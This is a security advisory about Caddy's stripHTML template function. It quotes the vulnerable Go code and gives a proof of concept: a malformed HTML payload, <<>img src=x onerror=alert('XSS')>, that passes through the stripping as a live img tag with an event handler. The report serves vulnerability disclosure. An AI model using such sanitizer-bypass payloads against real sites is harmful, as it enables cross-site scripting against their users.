Caddy: stripHTML template function bypass

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

---

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.